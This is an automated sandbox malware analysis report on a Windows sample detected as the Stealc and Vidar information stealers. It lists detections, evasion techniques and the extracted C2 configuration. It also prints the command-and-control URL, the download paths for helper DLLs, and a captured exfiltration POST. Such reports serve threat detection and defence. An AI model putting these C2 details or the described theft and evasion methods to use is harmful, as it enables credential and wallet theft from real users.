Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538069
MD5:	23ea42d8d675a95fba3e793e1c45a89b
SHA1:	e99ffc7ed7e023d6d4b17c8bf68e4d3243883aba
SHA256:	a4d3819a58b33ad21c696173110ef167f2acf68f58a565c6a5bf32954062529a
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6516 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 23EA42D8D675A95FBA3E793E1C45A89B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2297156938.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2019693058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6516	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6516	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6516	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6516	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.b30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T08:40:02.994343+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T08:40:02.986018+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T08:40:03.343166+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T08:40:04.642641+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T08:40:03.350121+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T08:40:02.446471+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T08:40:05.340808+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:13.423961+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:14.808199+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:16.145197+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:16.779105+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:19.838486+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:20.821433+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 34 36 42 37 36 34 41 43 31 33 33 33 32 37 34 33 38 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="hwid"E5146B764AC13332743865------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="build"doma------IIIEBGCBGIDHDGCAKJEB--

Source: file.exe, 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2297156938.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll/=
Source: file.exe, 00000000.00000002.2297156938.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlle=
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllw=
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/b.u
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%2
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php12
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpZ
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpfz
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpg
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phph
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpi2Z
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpinomi
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpu2V
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwindow-state.jsonc
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2326943803.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326505136.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IDHIDBAEGIIIDHJKEGDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2297156938.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2139615831.0000000001573000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2264558564.000000002FACA000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2264558564.000000002FACA000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2264558564.000000002FACA000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC	0_2_00EFE0CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0313C	0_2_00F0313C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA23D2	0_2_00DA23D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DFA3F7	0_2_00DFA3F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFD3BF	0_2_00EFD3BF
